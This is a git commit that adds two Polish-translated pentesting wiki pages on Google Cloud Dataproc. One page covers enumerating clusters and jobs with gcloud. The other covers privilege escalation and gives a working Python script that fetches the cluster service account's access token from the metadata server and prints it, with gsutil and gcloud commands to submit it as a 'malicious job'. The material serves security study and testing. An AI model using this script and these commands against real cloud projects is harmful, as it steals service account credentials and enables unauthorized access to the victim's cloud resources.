Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-01-26 21:46:21 +00:00
parent 9ff4d2f029
commit 8172cd37bc
2 changed files with 97 additions and 0 deletions
@@ -0,0 +1,54 @@
# GCP Dataproc Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}
## Dataproc
{{#ref}}
../gcp-services/gcp-dataproc-enum.md
{{#endref}}
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
Nie udało mi się uzyskać odwrotnego powłoki za pomocą tej metody, jednak możliwe jest wycieknięcie tokena SA z punktu końcowego metadanych za pomocą opisanej poniżej metody.
#### Kroki do wykorzystania
- Umieść skrypt zadania w GCP Bucket
- Złóż zadanie do klastra Dataproc.
- Użyj zadania do uzyskania dostępu do serwera metadanych.
- Wycieknij token konta usługi używanego przez klaster.
```python
import requests
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}
def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None
if __name__ == "__main__":
fetch_metadata_token()
```
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>
# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,43 @@
# GCP - Dataproc Enum
{{#include ../../../banners/hacktricks-training.md}}
## Podstawowe informacje
Google Cloud Dataproc to w pełni zarządzana usługa do uruchamiania Apache Spark, Apache Hadoop, Apache Flink i innych frameworków big data. Jest głównie używana do przetwarzania danych, zapytań, uczenia maszynowego i analityki strumieniowej. Dataproc umożliwia organizacjom łatwe tworzenie klastrów do obliczeń rozproszonych, bezproblemowo integrując się z innymi usługami Google Cloud Platform (GCP), takimi jak Cloud Storage, BigQuery i Cloud Monitoring.
Klastry Dataproc działają na maszynach wirtualnych (VM), a konto usługi powiązane z tymi VM określa uprawnienia i poziom dostępu klastra.
## Komponenty
Typowy klaster Dataproc zawiera:
Węzeł główny: Zarządza zasobami klastra i koordynuje rozproszone zadania.
Węzły robocze: Wykonują rozproszone zadania.
Konta usług: Obsługują wywołania API i uzyskują dostęp do innych usług GCP.
## Enumeracja
Klastry Dataproc, zadania i konfiguracje mogą być enumerowane w celu zebrania wrażliwych informacji, takich jak konta usług, uprawnienia i potencjalne błędy w konfiguracji.
### Enumeracja klastra
Aby enumerować klastry Dataproc i uzyskać ich szczegóły:
```
gcloud dataproc clusters list --region=<region>
gcloud dataproc clusters describe <cluster-name> --region=<region>
```
### Enumeracja Zadań
```
gcloud dataproc jobs list --region=<region>
gcloud dataproc jobs describe <job-id> --region=<region>
```
### Privesc
{{#ref}}
../gcp-privilege-escalation/gcp-dataproc-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}